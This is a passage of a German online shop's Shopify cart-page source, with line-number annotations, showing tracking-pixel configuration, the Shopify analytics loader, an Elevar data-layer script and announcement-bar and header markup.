ayloadVersion":"v1","runtimeContext":"STRICT","scriptVersion":"7093dff47f098f6de2afb75b62011ebe","type":"APP","apiClientId":2753413,"privacyPurposes":["ANALYTICS","MARKETING"],"dataSharingAdjustments":{"protectedCustomerApprovalScopes":["read_customer_address","read_customer_email","read_customer_name","read_customer_personal_data","read_customer_phone"],"dataSharingControls":["share_all_events"]},"dataSharingState":"optimized"},{"id":"937820424","configuration":"{\"config\":\"{\\\"google_tag_ids\\\":[\\\"G-P3J3HHZC8E\\\"],\\\"target_country\\\":\\\"DE\\\",\\\"gtag_events\\\":[{\\\"type\\\":\\\"search\\\",\\\"action_label\\\":[\\\"G-P3J3HHZC8E\\\",\\\"AW-474492841\\\/p3h_CIDn7o4YEKnfoOIB\\\"]},{\\\"type\\\":\\\"begin_checkout\\\",\\\"action_label\\\":[\\\"G-P3J3HHZC8E\\\",\\\"AW-474492841\\\/bh_RCNrq7o4YEKnfoOIB\\\"]},{\\\"type\\\":\\\"remove_from_cart\\\",\\\"action_label\\\":\\\"G-P3J3HHZC8E\\\"},{\\\"type\\\":\\\"view_item\\\",\\\"action_label\\\":[\\\"G-P3J3HHZC8E\\\",\\\"AW-474492841\\\/UloDCP3m7o4YEKnfoOIB\\\"]},{\\\"type\\\":\\\"purchase\\\",\\\"action_label\\\":[\\\"G-P3J3HHZC8E\\\",\\\"AW-474492841\\\/SYChCPfm7o4YEKnfoOIB\\\"]},{\\\"type\\\":\\\"add_shipping_info\\\",\\\"action_label\\\":\\\"G-P3J3HHZC8E\\\"},{\\\"type\\\":\\\"page_view\\\",\\\"action_label\\\":[\\\"G-P3J3HHZC8E\\\",\\\"AW-474492841\\\/PDQLCPrm7o4YEKnfoOIB\\\"]},{\\\"type\\\":\\\"view_item_list\\\",\\\"action_label\\\":\\\"G-P3J3HHZC8E\\\"},{\\\"type\\\":\\\"add_payment_info\\\",\\\"action_label\\\":[\\\"G-P3J3HHZC8E\\\",\\\"AW-474492841\\\/6hvzCN3q7o4YEKnfoOIB\\\"]},{\\\"type\\\":\\\"add_to_cart\\\",\\\"action_label\\\":[\\\"G-P3J3HHZC8E\\\",\\\"AW-474492841\\\/7rqCCNfq7o4YEKnfoOIB\\\"]},{\\\"type\\\":\\\"view_cart\\\",\\\"action_label\\\":\\\"G-P3J3HHZC8E\\\"}],\\\"enable_monitoring_mode\\\":false}\"}","eventPayloadVersion":"v1","runtimeContext":"OPEN","scriptVersion":"a3321ca85cf5aaf6b57585fcd8d67b3a","type":"APP","apiClientId":1780363,"privacyPurposes":[],"dataSharingAdjustments":{"protectedCustomerApprovalScopes":["read_customer_address","read_customer_email","read_customer_name","read_customer_personal_data","read_customer_phone"],"dataSharingControls":["share_all_events"]},"dataSharingState":"optimized","enabledFlags":["9a3ed68a"]},{"id":"804028680","configuration":"{\"pixelCode\":\"C80R3VD05LAVNB086H80\"}","eventPayloadVersion":"v1","runtimeContext":"STRICT","scriptVersion":"22e92c2ad45662f435e4801458fb78cc","type":"APP","apiClientId":4383523,"privacyPurposes":["ANALYTICS","MARKETING","SALE_OF_DATA"],"dataSharingAdjustments":{"protectedCustomerApprovalScopes":["read_customer_address","read_customer_email","read_customer_name","read_customer_personal_data","read_customer_phone"],"dataSharingControls":["share_all_events"]},"dataSharingState":"optimized"},{"id":"340918536","configuration":"{\"pixel_id\":\"776518589778284\",\"pixel_type\":\"facebook_pixel\",\"metaapp_system_user_token\":\"-\"}","eventPayloadVersion":"v1","runtimeContext":"OPEN","scriptVersion":"bd2f978c17a94bbb8a74d43de2165dc5","type":"APP","apiClientId":2329312,"privacyPurposes":["ANALYTICS","MARKETING","SALE_OF_DATA"],"dataSharingAdjustments":{"protectedCustomerApprovalScopes":["read_customer_address","read_customer_email","read_customer_name","read_customer_personal_data","read_customer_phone"],"dataSharingControls":["share_all_events"]},"dataSharingState":"optimized","enabledFlags":["9a3ed68a"]}
1582,{"id":"194445576","configuration":"{\"tagID\":\"2613865808117\"}","eventPayloadVersion":"v1","runtimeContext":"STRICT","scriptVersion":"7ae565e198624b39e0856d352b9a6b4c","type":"APP","apiClientId":3009811,"privacyPurposes":["ANALYTICS","MARKETING","SALE_OF_DATA"],"dataSharingAdjustments":{"protectedCustomerApprovalScopes":["read_customer_address","read_customer_email","read_customer_name","read_customer_personal_data","read_customer_phone"],"dataSharingControls":[]},"dataSharingState":"optimized"},{"id":"25657608","configuration":"{\"pixelId\":\"8dbee127-6f38-4e24-8332-09213125b4aa\"}","eventPayloadVersion":"v1","runtimeContext":"STRICT","scriptVersion":"c119f01612c13b62ab52809eb08154bb","type":"APP","apiClientId":2556259,"privacyPurposes":["ANALYTICS","MARKETING","SALE_OF_DATA"],"dataSharingAdjustments":{"protectedCustomerApprovalScopes":["read_customer_address","read_customer_email","read_customer_name","read_customer_personal_data","read_customer_phone"],"dataSharingControls":["share_all_events"]},"dataSharingState":"optimized"},{"id":"88703240","eventPayloadVersion":"1","runtimeContext":"LAX","scriptVersion":"1","type":"CUSTOM","privacyPurposes":["ANALYTICS","MARKETING","SALE_OF_DATA"],"name":"Taboola Pixel"},{"id":"308216072","eventPayloadVersion":"1","runtimeContext":"LAX","scriptVersion":"4","type":"CUSTOM","privacyPurposes":["ANALYTICS","MARKETING","PREFERENCES","SALE_OF_DATA"],"name":"X Pixel | ID: qw793"},{"id":"308314376","eventPayloadVersion":"1","runtimeContext":"LAX","scriptVersion":"1","type":"CUSTOM","privacyPurposes":["ANALYTICS","MARKETING","SALE_OF_DATA"],"name":"LinkedIn Pixel"},{"id":"375914760","eventPayloadVersion":"1","runtimeContext":"LAX","scriptVersion":"1","type":"CUSTOM","privacyPurposes":["ANALYTICS","MARKETING","PREFERENCES","SALE_OF_DATA"],"name":"OpenAI Ads"},{"id":"shopify-app-pixel","configuration":"{}","eventPayloadVersion":"v1","runtimeContext":"STRICT","scriptVersion":"0530","apiClientId":"shopify-pixel","type":"APP","privacyPurposes":["ANALYTICS","MARKETING"]},{"id":"shopify-custom-pixel","eventPayloadVersion":"v1","runtimeContext":"LAX","scriptVersion":"0530","apiClientId":"shopify-pixel","type":"CUSTOM","privacyPurposes":["ANALYTICS","MARKETING"]}],isMerchantRequest: false,initData: {"shop":{"name":"ESSENTIALBAG","paymentSettings":{"currencyCode":"EUR"},"myshopifyDomain":"eminenter.myshopify.com","countryCode":"DE","storefrontUrl":"https:\/\/essentialbag.com"},"customer":null,"cart":null,"checkout":null,"productVariants":[],"products":[{"id":"8279577329928","handle":"smart-wallet-3-0","isCollective":null,"title":null,"type":null,"untranslatedTitle":null,"url":null,"vendor":null,"remoteShopId":null,"variants":[{"id":"44567027286280","image":null,"price":null,"sku":null,"title":null,"untranslatedTitle":null}]},{"id":"8492457754888","handle":"tracker-karte","isCollective":null,"title":null,"type":null,"untranslatedTitle":null,"url":null,"vendor":null,"remoteShopId":null,"variants":[{"id":"45372996616456","image":null,"price":null,"sku":null,"title":null,"untranslatedTitle":null}]},{"id":"9592466407688","handle":"induktives-ladekabel-kabellos","isCollective":null,"title":null,"type":null,"untranslatedTitle":null,"url":null,"vendor":null,"remoteShopId":null,"variants":[{"id":"50528020660488","image":null,"price":null,"sku":null,"title":null,"untranslatedTitle":null}]},{"id":"8009809166600","handle":"schlusseletui","isCollective":null,"title":null,"type":null,"untranslatedTitle":null,"url":null,"vendor":null,"remoteShopId":null,"variants":[{"id":"43665637867784","image":null,"price":null,"sku":null,"title":null,"untranslatedTitle":null}]},{"id":"10194139382024","handle":"schlussel-tracker-ios-android","isCollective":null,"title":null,"type":null,"untranslatedTitle":null,"url":null,"vendor":null,"remoteShopId":null,"variants":[{"id":"51295914983688","image":null,"price":null,"sku":null,"title":null,"untranslatedTitle":null}]},{"id":"8281216483592","handle":"starter-set-3","isCollective":null,"title":null,"type":null,"untranslatedTitle":null,"url":null,"vendor":null,"remoteShopId":null,"variants":[{"id":"44569600590088","image":null,"price":null,"sku":null,"title":null,"untranslatedTitle":null}]}
1582,{"id":"11205893554440","handle":"oster-value-set-copy","isCollective":null,"title":null,"type":null,"untranslatedTitle":null,"url":null,"vendor":null,"remoteShopId":null,"variants":[{"id":"54892582830344","image":null,"price":null,"sku":null,"title":null,"untranslatedTitle":null}]},{"id":"11206741688584","handle":"partner-set-3-0-copy","isCollective":null,"title":null,"type":null,"untranslatedTitle":null,"url":null,"vendor":null,"remoteShopId":null,"variants":[{"id":"54895815819528","image":null,"price":null,"sku":null,"title":null,"untranslatedTitle":null}]},{"id":"10642602000648","handle":"essential-family-set","isCollective":null,"title":null,"type":null,"untranslatedTitle":null,"url":null,"vendor":null,"remoteShopId":null,"variants":[{"id":"52961914618120","image":null,"price":null,"sku":null,"title":null,"untranslatedTitle":null}]}],"purchasingCompany":null},},"https://essentialbag.com/cdn","7ec887c8w14f9f074p854094e1m1370c602",{"modern":"","legacy":""},{"trekkieShim":true,"agentContext":true,"apiClientId":"580111","facebookCapiEnabled":"true","themeId":"203020534024","themeStoreId":"714","themePublished":"true","eventMetadataId":"1aedf493-a75b-412d-ab1d-4acf6ccd10ed","pageType":"cart","shopId":"46174666912","storefrontBaseUrl":"https:\/\/essentialbag.de","extensionBaseUrl":"https:\/\/extensions.shopifycdn.com\/cdn\/shopifycloud\/web-pixels-manager","surface":"storefront-renderer","enabledBetaFlags":"[\"4c64608a\", \"16072cab\"]","isMerchantRequest":"false","hashVersion":"7ec887c8w14f9f074p854094e1m1370c602","publish":"custom","events":"[[\"page_viewed\",{}]]"});})();</script>
1582<script>
1583  window.ShopifyAnalytics = window.ShopifyAnalytics || {};
1584  window.ShopifyAnalytics.meta = window.ShopifyAnalytics.meta || {};
1585  window.ShopifyAnalytics.meta.currency = 'USD';
1586  var meta = {"page":{"pageType":"cart","requestId":"132c6b8b-e9bd-41d0-90a6-98525025f272-1791585648"}};
1587  for (var attr in meta) {
1588    window.ShopifyAnalytics.meta[attr] = meta[attr];
1589  }
1590</script>
vendor: 1 bytes, line 1590
1590
1591<script class="analytics">
1592  (function () {
1593    var customDocumentWrite = function(content) {
1594      var jquery = null;
1595
1596      if (window.jQuery) {
1597        jquery = window.jQuery;
1598      } else if (window.Checkout && window.Checkout.$) {
1599        jquery = window.Checkout.$;
1600      }
1601
1602      if (jquery) {
1603        jquery('body').append(content);
1604      }
1605    };
1606
1607    var hasLoggedConversion = function(token) {
1608      if (token) {
1609        return document.cookie.indexOf('loggedConversion=' + token) !== -1;
1610      }
1611      return false;
1612    }
1613
1614    var setCookieIfConversion = function(token) {
1615      if (token) {
1616        var twoMonthsFromNow = new Date(Date.now());
1617        twoMonthsFromNow.setMonth(twoMonthsFromNow.getMonth() + 2);
1618
1619        document.cookie = 'loggedConversion=' + token + '; expires=' + twoMonthsFromNow;
1620      }
1621    }
1622
1623    var trekkie = window.ShopifyAnalytics.lib = window.trekkie = window.trekkie || [];
1624    window.ShopifyAnalytics.lib.trekkie = window.trekkie;
1625    if (trekkie.integrations) {
1626      return;
1627    }
1628    trekkie.methods = [
1629      'identify',
1630      'page',
1631      'ready',
1632      'track',
1633      'trackForm',
1634      'trackLink'
1635    ];
1636    trekkie.factory = function(method) {
1637      return function() {
1638        var args = Array.prototype.slice.call(arguments);
1639        args.unshift(method);
1640        trekkie.push(args);
1641        if (method == 'track' || method == 'page') {
1642          var pageUrl;
1643          try {
1644            pageUrl = window.location.href;
1645          } catch (e) {}
1646          var pageReferrer;
1647          try {
1648            pageReferrer = document.referrer;
1649          } catch (e) {}
1650          try {
1651            if (window.__TREKKIE_SHIM_QUEUE == null) {
1652              window.__TREKKIE_SHIM_QUEUE = [];
1653            }
1654            window.__TREKKIE_SHIM_QUEUE.push({
1655              from: 'trekkie-stub',
1656              method: method,
1657              args: args.slice(1),
1658              pageContext: {
1659                url: pageUrl,
1660                referrer: pageReferrer
1661              }
1662            });
1663          } catch (e) {
1664            // no-op
1665          }
1666        }
1667        return trekkie;
1668      };
1669    };
1670    for (var i = 0; i < trekkie.methods.length; i++) {
1671      var key = trekkie.methods[i];
1672      trekkie[key] = trekkie.factory(key);
1673    }
1674    trekkie.load = function(config) {
1675      trekkie.config = config || {};
1676      trekkie.config.initialDocumentCookie = document.cookie;
1677      var first = document.getElementsByTagName('script')[0];
1678var script = document.createElement('script');
1679script.type = 'text/javascript';
1680script.onerror = function(e) {
1681  var scriptFallback = document.createElement('script');
1682  scriptFallback.type = 'text/javascript';
1683  scriptFallback.onerror = function(error) {
1684          var Monorail = {
1685      produce: function produce(monorailDomain, schemaId, payload) {
1686        var currentMs = new Date().getTime();
1687        var event = {
1688          schema_id: schemaId,
1689          payload: payload,
1690          metadata: {
1691            event_created_at_ms: currentMs,
1692            event_sent_at_ms: currentMs
1693          }
1694        };
1695        return Monorail.sendRequest("https://" + monorailDomain + "/v1/produce", JSON.stringify(event));
1696      },
1697      sendRequest: function sendRequest(endpointUrl, payload) {
1698        // Try the sendBeacon API
1699        if (window && window.navigator && typeof window.navigator.sendBeacon === 'function' && typeof window.Blob === 'function' && !Monorail.isIos12()) {
1700          var blobData = new window.Blob([payload], {
1701            type: 'text/plain'
1702          });
1703
1704          if (window.navigator.sendBeacon(endpointUrl, blobData)) {
1705            return true;
1706          } // sendBeacon was not successful
1707
1708        } // XHR beacon
1709
1710        var xhr = new XMLHttpRequest();
1711
1712        try {
1713          xhr.open('POST', endpointUrl);
1714          xhr.setRequestHeader('Content-Type', 'text/plain');
1715          xhr.send(payload);
1716        } catch (e) {
1717          console.log(e);
1718        }
1719
1720        return false;
1721      },
1722      isIos12: function isIos12() {
1723        return window.navigator.userAgent.lastIndexOf('iPhone; CPU iPhone OS 12_') !== -1 || window.navigator.userAgent.lastIndexOf('iPad; CPU OS 12_') !== -1;
1724      }
1725    };
1726    Monorail.produce('monorail-edge.shopifysvc.com',
1727      'trekkie_storefront_load_errors/1.1',
1728      {shop_id: 46174666912,
1729      theme_id: 203020534024,
1730      app_name: "storefront",
1731      context_url: window.location.href,
1732      source_url: "//essentialbag.com/cdn/s/trekkie.storefront.51e69540e15035ae012ec8cc42e8f9cd792233a0.min.js"});
1733
1734  };
1735  scriptFallback.async = true;
1736  scriptFallback.src = '//essentialbag.com/cdn/s/trekkie.storefront.51e69540e15035ae012ec8cc42e8f9cd792233a0.min.js';
1737  first.parentNode.insertBefore(scriptFallback, first);
1738};
1739script.async = true;
1740script.src = '//essentialbag.com/cdn/s/trekkie.storefront.51e69540e15035ae012ec8cc42e8f9cd792233a0.min.js';
1741first.parentNode.insertBefore(script, first);
1742
1743    };
1744    trekkie.load(
1745      {"Trekkie":{"appName":"storefront","development":false,"defaultAttributes":{"shopId":46174666912,"isMerchantRequest":null,"themeId":203020534024,"themeCityHash":"565681026971548352","contentLanguage":"en","currency":"USD","eventMetadataId":"1aedf493-a75b-412d-ab1d-4acf6ccd10ed"},"isServerSideCookieWritingEnabled":true,"monorailRegion":"shop_domain","enabledBetaFlags":["764d78cb","4c64608a"]},"Session Attribution":{},"S2S":{"facebookCapiEnabled":true,"source":"trekkie-storefront-renderer","apiClientId":580111}}
1746    );
1747
1748    var loaded = false;
1749    trekkie.ready(function() {
1750      if (loaded) return;
1751      loaded = true;
1752
1753      window.ShopifyAnalytics.lib = window.trekkie;
1754
1755      var originalDocumentWrite = document.write;
1756      document.write = customDocumentWrite;
1757      try { window.ShopifyAnalytics.merchantGoogleAnalytics.call(this); } catch(error) {};
1758      document.write = originalDocumentWrite;
1759
1760      var match = window.location.pathname.match(/checkouts\/(.+)\/(thank_you|post_purchase)/)
1761      var token = match? match[1]: undefined;
1762      if (!hasLoggedConversion(token)) {
1763        setCookieIfConversion(token);
1764        
1765      }
1766    });
1767
1768    window.ShopifyAnalytics.lib.page(null,{"pageType":"cart","requestId":"132c6b8b-e9bd-41d0-90a6-98525025f272-1791585648","shopifyEmitted":true});
1769
1770    var eventsListenerScript = document.createElement('script');
1771    eventsListenerScript.async = true;
1772    eventsListenerScript.src = "//essentialbag.com/cdn/shopifycloud/storefront/assets/shop_events_listener-4e26a9ce.js";
1773    document.getElementsByTagName('head')[0].appendChild(eventsListenerScript);
1774})();</script>
vendor: 1 bytes, line 1774
1774
1775<script
1776  defer
1777  src="https://essentialbag.com/cdn/shopifycloud/perf-kit/shopify-perf-kit-3.10.1.min.js"
1778  data-application="storefront-renderer"
1779  data-shop-id="46174666912"
1780  data-render-region="gcp-us-west1"
1781  data-page-type="cart"
1782  data-theme-instance-id="203020534024"
1783  data-theme-name="Focal"
1784  data-theme-version="9.0.0"
1785  data-monorail-region="shop_domain"
1786  data-resource-timing-sampling-rate="10"
1787  data-shs="true"
1788  data-shs-beacon="true"
1789  data-shs-export-with-fetch="true"
1790  data-shs-logs-sample-rate="1"
1791  data-shs-beacon-endpoint="https://essentialbag.com/api/collect"
1792></script>
1792
1793<meta name="shopify-y" content="64afc24c-97f8-41f1-a553-0282c956c63b" data-expiration="1823143248000"><meta name="shopify-s" content="b3052a04-8c54-4a21-a18f-9a898624f2cd" data-expiration="1791587448000">
1794</head>
1795
1796  
1796<script async data-src="https://static.klaviyo.com/onsite/js/klaviyo.js?company_id=TUzBeb"></script>
1796<body class="no-focus-outline  features--image-zoom" data-instant-allow-query-string>
1797    
1798
1799
1800
1801<script>
1802  (() => {
1803    const configElement = document.getElementById("elevar-gtm-suite-config");
1804
1805    if (!configElement) {
1806      console.error("Elevar Data Layer: Config element not found");
1807      return;
1808    }
1809
1810    let initialProductAnchorElements = null;
1811
1812    const setElements = () => {
1813      initialProductAnchorElements = document.querySelectorAll(
1814        `a[href*="/products/"]`
1815      );
1816    }
1817
1818    if (document.readyState === "loading") {
1819      document.addEventListener("readystatechange", setElements)
1820    } else {
1821      setElements();
1822    }
1823
1824    const config = JSON.parse(configElement.textContent);
1825
1826    const script = document.createElement("script");
1827    script.type = "text/javascript";
1828    script.src = config.gtm_suite_script;
1829
1830    script.onerror = () => {
1831      console.error("Elevar Data Layer: JS script failed to load");
1832    };
1833    script.onload = async () => {
1834      if (!window.ElevarGtmSuite) {
1835        console.error("Elevar Data Layer: `ElevarGtmSuite` is not defined");
1836        return;
1837      }
1838
1839      const cartData = {
1840  attributes:{},
1841  cartTotal: "0.0",
1842  currencyCode:"USD",
1843  items: []
1844}
1845;
1846
1847      await window.ElevarGtmSuite.handlers.cartAttributesReconcile(
1848        cartData,
1849        config.event_config.save_order_notes,
1850        config.consent_enabled
1851      );
1852
1853      if (config.event_config.user) {
1854        const data = {cartTotal: "0.0",
1855    currencyCode:"USD",};
1856        window.ElevarGtmSuite.handlers.user(data);
1857      }
1858
1859      if (config.event_config.product_add_to_cart_ajax) {
1860        window.ElevarGtmSuite.handlers.productAddToCartAjax(
1861          config.event_config.save_order_notes,
1862          config.consent_enabled
1863        );
1864      }
1865
1866      if (config.event_config.cart_reconcile) {
1867        window.ElevarGtmSuite.handlers.cartItemsReconcile(cartData);
1868      }if (config.event_config.cart_view) {
1869        window.ElevarGtmSuite.handlers.cartView(cartData);
1870      }
1871      if (config.event_config.product_remove_from_cart) {
1872        window.ElevarGtmSuite.handlers.productRemoveFromCart(cartData);
1873      }};
1874
1875    document.body.appendChild(script);
1876  })();
1877</script>
1877
1878
1879
1880
1881
1882<!-- Google Tag Manager (noscript) -->
vendor: 73 bytes, lines 1882-1884
1882
1883<noscript>
1884    <iframe src="https://www.googletagmanager.com/ns.html?id=
1884GTM-WSZRXTXZ
vendor: 84 bytes, lines 1884-1885
1884" height="0" width="0" style="display:none;visibility:hidden"></iframe>
1885</noscript>
1886<!-- End Google Tag Manager (noscript) -->
1887
1888
1889
1890
1891
1892<svg class="visually-hidden">
1893      <linearGradient id="rating-star-gradient-half">
1894        <stop offset="50%" stop-color="rgb(var(--product-star-rating))" />
1895        <stop offset="50%" stop-color="rgb(var(--product-star-rating))" stop-opacity="0.4" />
1896      </linearGradient>
1897    </svg>
1898    
1898<script async data-src="https://static.klaviyo.com/onsite/js/klaviyo.js?company_id=TUzBeb"></script>
1898
1899    <a href="#main" class="visually-hidden skip-to-content">Go directly to the content</a>
1900    <loading-bar class="loading-bar"></loading-bar><div id="shopify-section-announcement-bar" class="shopify-section shopify-section--announcement-bar"><style>
1901  :root {
1902    --enable-sticky-announcement-bar: 1;
1903  }
1904
1905  #shopify-section-announcement-bar {
1906    --heading-color: 255, 255, 255;
1907    --text-color: 255, 255, 255;
1908    --primary-button-background: 235, 194, 62;
1909    --primary-button-text-color: 40, 40, 40;
1910    --section-background: 56, 56, 56;
1911    z-index: 5; /* Make sure it goes over header */position: -webkit-sticky;
1912      position: sticky;top: 0;
1913  }
1914
1915  @media screen and (min-width: 741px) {
1916    :root {
1917      --enable-sticky-announcement-bar: 0;
1918    }
1919
1920    #shopify-section-announcement-bar {position: relative;}
1921  }
1922</style></div><div id="shopify-section-new-announcement-bar" class="shopify-section"><div class="cstm_announcemnt_main">
1923  <div class="cstm_announcement-bar" style="--background: #000000; --text-color: #ffffff;">
1924    <marquee-text scrolling-speed="10" class="cstm_announcement-bar__scrolling-list" style="--marquee-animation-duration: 7.896s;">
1925      
1926        
1927      <div class="cstm_announcement-bar__item">
1928        
1929          <p class="cstm_announcement-bar_title">
1930            <a href="">
1931            
1932            Oktoberfest Sale: Save up to 50%</a>
1933          </p>
1934          <span class="shape-circle"></span>
1935        
1936        
1937          <p class="cstm_announcement-bar_title">
1938            <a href="">
1939            
1940            Delivery in 1–3 days</a>
1941          </p>
1942          <span class="shape-circle"></span>
1943        
1944        
1945          <p class="cstm_announcement-bar_title">
1946            <a href="">
1947             <img class="announcement-icons" src="//essentialbag.com/cdn/shop/files/Trustpilot_pseudo.png?v=1721275291" width="" height="" loading="lazy">
1948            4.8/5</a>
1949          </p>
1950          <span class="shape-circle"></span>
1951        
1952      </div>
1953      
1954      
1955        
1956      <div class="cstm_announcement-bar__item">
1957        
1958          <p class="cstm_announcement-bar_title">
1959            <a href="">
1960            
1961            Oktoberfest Sale: Save up to 50%</a>
1962          </p>
1963          <span class="shape-circle"></span>
1964        
1965        
1966          <p class="cstm_announcement-bar_title">
1967            <a href="">
1968            
1969            Delivery in 1–3 days</a>
1970          </p>
1971          <span class="shape-circle"></span>
1972        
1973        
1974          <p class="cstm_announcement-bar_title">
1975            <a href="">
1976             <img class="announcement-icons" src="//essentialbag.com/cdn/shop/files/Trustpilot_pseudo.png?v=1721275291" width="" height="" loading="lazy">
1977            4.8/5</a>
1978          </p>
1979          <span class="shape-circle"></span>
1980        
1981      </div>
1982      
1983      
1984        
1985      <div class="cstm_announcement-bar__item">
1986        
1987          <p class="cstm_announcement-bar_title">
1988            <a href="">
1989            
1990            Oktoberfest Sale: Save up to 50%</a>
1991          </p>
1992          <span class="shape-circle"></span>
1993        
1994        
1995          <p class="cstm_announcement-bar_title">
1996            <a href="">
1997            
1998            Delivery in 1–3 days</a>
1999          </p>
2000          <span class="shape-circle"></span>
2001        
2002        
2003          <p class="cstm_announcement-bar_title">
2004            <a href="">
2005             <img class="announcement-icons" src="//essentialbag.com/cdn/shop/files/Trustpilot_pseudo.png?v=1721275291" width="" height="" loading="lazy">
2006            4.8/5</a>
2007          </p>
2008          <span class="shape-circle"></span>
2009        
2010      </div>
2011      
2012      
2013        
2014      <div class="cstm_announcement-bar__item">
2015        
2016          <p class="cstm_announcement-bar_title">
2017            <a href="">
2018            
2019            Oktoberfest Sale: Save up to 50%</a>
2020          </p>
2021          <span class="shape-circle"></span>
2022        
2023        
2024          <p class="cstm_announcement-bar_title">
2025            <a href="">
2026            
2027            Delivery in 1–3 days</a>
2028          </p>
2029          <span class="shape-circle"></span>
2030        
2031        
2032          <p class="cstm_announcement-bar_title">
2033            <a href="">
2034             <img class="announcement-icons" src="//essentialbag.com/cdn/shop/files/Trustpilot_pseudo.png?v=1721275291" width="" height="" loading="lazy">
2035            4.8/5</a>
2036          </p>
2037          <span class="shape-circle"></span>
2038        
2039      </div>
2040      
2041      
2042        
2043      <div class="cstm_announcement-bar__item">
2044        
2045          <p class="cstm_announcement-bar_title">
2046            <a href="">
2047            
2048            Oktoberfest Sale: Save up to 50%</a>
2049          </p>
2050          <span class="shape-circle"></span>
2051        
2052        
2053          <p class="cstm_announcement-bar_title">
2054            <a href="">
2055            
2056            Delivery in 1–3 days</a>
2057          </p>
2058          <span class="shape-circle"></span>
2059        
2060        
2061          <p class="cstm_announcement-bar_title">
2062            <a href="">
2063             <img class="announcement-icons" src="//essentialbag.com/cdn/shop/files/Trustpilot_pseudo.png?v=1721275291" width="" height="" loading="lazy">
2064            4.8/5</a>
2065          </p>
2066          <span class="shape-circle"></span>
2067        
2068      </div>
2069      
2070      
2071    </marquee-text>
2072  </div>
2073</div>
2074
2075<style>
2076
2077  /* .cstm_announcemnt_main{
2078    position: sticky;
2079    top: 0;
2080    z-index: 20;
2081  }
2082 */
2083  .cstm_announcement-bar{
2084    background-color: var(--background);
2085    color: var(--text-color);
2086    padding-top: 10px;
2087    padding-bottom: 10px;
2088  }
2089
2090  .cstm_announcement-bar__scrolling-list {
2091    grid: auto / auto-flow max-content;
2092    justify-content: center;
2093    display: grid;
2094    overflow: hidden;
2095}
2096
2097  .cstm_announcement-bar__item {
2098    grid: auto / auto-flow auto 10rem;
2099    place-items: center;
2100    display: grid;
2101}
2102
2103  .cstm_announcement-bar_title{
2104    font-size: 12px;
2105    line-height: 1rem;
2106    color: inherit;
2107    margin: 0;
2108  }
2109
2110  .cstm_announcement-bar_title a{
2111    display: flex;
2112    align-items: center;
2113    width: 100%;
2114    color: inherit !important;
2115    text-decoration: none !important;
2116    font-weight: 600;
2117  }
2118
2119  img.announcement-icons {
2120    width: 22px;
2121    padding-right: 1px;
2122}
2123
2124  .shape-circle{
2125    width: 0.25rem;
2126    height: 0.25rem;
2127    background: currentColor;
2128    display: block;
2129    border-radius: 999px;
2130  }
2131    
2132
2133  .cstm_announcement-bar__item {
2134    animation: translateFull var(--marquee-animation-duration, 0s) linear infinite;
2135  }
2136
2137
2138  @keyframes translateFull {
2139  from {
2140    transform: translateX(0);
2141  }
2142
2143  to {
2144    transform: translateX(calc(-100% * var(--transform-logical-flip)));
2145  }
2146}
2147
2148  @media (max-width: 700px){
2149    
2150    .cstm_announcement-bar__item {
2151      grid: auto / auto-flow auto 5rem;
2152    }
2153  
2154  }
2155  
2156  
2157</style>
2158
2159
2160</div>
2161<div id="shopify-section-popup" class="shopify-section shopify-section--popup"><style data-shopify>
2162
2163  .pop-cstm-btn{
2164    margin-top:20px;
2165  }
2166
2167  .pop-cstm-btn a {
2168    display: flex;
2169    align-items: center;
2170    justify-content: center;
2171    gap: 5px;
2172  }
2173
2174  .pop-cstm-btn img {
2175    width: 30px;
2176    margin: 0 !important;
2177  }
2178
2179</style>
2180<style>
2181    [aria-controls="newsletter-popup"] {
2182      display: none; /* Allows to hide the toggle icon in the header if the section is disabled */
2183    }
2184  </style></div><div id="shopify-section-header" class="shopify-section shopify-section--header"><style>
2185  :root {
2186    --enable-sticky-header: 1;
2187    --enable-transparent-header: 0;
2188    --loading-bar-background: 40, 40, 40; /* Prevent the loading bar to be invisible */
2189  }
2190  .mobile-menu_optional-image img {
2191  	margin: .5rem auto 0;
2192  	display: block;
2193  }
2194
2195  #shopify-section-header {--header-background: 255, 255, 255;
2196    --header-text-color: 40, 40, 40;
2197    --header-border-color: 223, 223, 223;
2198    --reduce-header-padding: 0;position: -webkit-sticky;
2199      position: sticky;top: calc(var(--enable-sticky-announcement-bar) * var(--announcement-bar-height, 0px));
2200    z-index: 4;
2201  }#shopify-section-header .header__logo-image {
2202    max-width: 130px;
2203  }
2204
2205  @media screen and (min-width: 741px) {
2206    #shopify-section-header .header__logo-image {
2207      max-width: 190px;
2208    }
2209  }
2210
2211  @media screen and (min-width: 1200px) {}</style>
2212
2213<store-header sticky  class="header header--bordered " role="banner"><div class="container">
2214    <div class="header__wrapper">
2215      <!-- LEFT PART -->
2216      <nav class="header__inline-navigation" role="navigation"><div class="header__icon-list "><button is="toggle-button" class="header__icon-wrapper tap-area " aria-controls="mobile-menu-drawer" aria-expanded="false">
2217              <span class="visually-hidden">Navigation</span><svg focusable="false" width="18" height="14" class="icon icon--header-hamburger   " viewBox="0 0 18 14">
2218        <path d="M0 1h18M0 13h18H0zm0-6h18H0z" fill="none" stroke="currentColor" stroke-width="1.5"></path>
2219      </svg></button><a href="/search" is="toggle-link" class="header__icon-wrapper tap-area  hidden-desk" aria-controls="search-drawer" aria-expanded="false" aria-label="Search"><svg focusable="false" width="18" height="18" class="icon icon--header-search   " viewBox="0 0 18 18">
2220        <path d="M12.336 12.336c2.634-2.635 2.682-6.859.106-9.435-2.576-2.576-6.8-2.528-9.435.106C.373 5.642.325 9.866 2.901 12.442c2.576 2.576 6.8 2.528 9.435-.106zm0 0L17 17" fill="none" stroke="currentColor" stroke-width="1.5"></path>
2221      </svg></a>
2222        </div></nav>
2223
2224      <!-- LOGO PART --><span class="header__logo"><a class="header__logo-link" href="/"><span class="visually-hidden">ESSENTIALBAG</span>
2225            <img class="header__logo-image" width="1920" height="1080" src="//essentialbag.com/cdn/shop/files/FINALIZED_V3_723b503a-1b56-4cd3-88d5-7fe8435ec1a7_380x.svg?v=1702052791" alt=""></a></span><!-- SECONDARY LINKS PART -->
2226      <div class="header__secondary-links"><form method="post" action="/localization" id="header-localization-form" accept-charset="UTF-8" class="header__cross-border hidden-pocket" enctype="multipart/form-data"><input type="hidden" name="form_type" value="localization" /><input type="hidden" name="utf8" value="✓" /><input type="hidden" name="_method" value="put" /><input type="hidden" name="return_to" value="/cart" /><div class="popover-container">
2227                <input type="hidden" name="country_code" value="US">
2228                <span class="visually-hidden">Country/Region</span>
2229
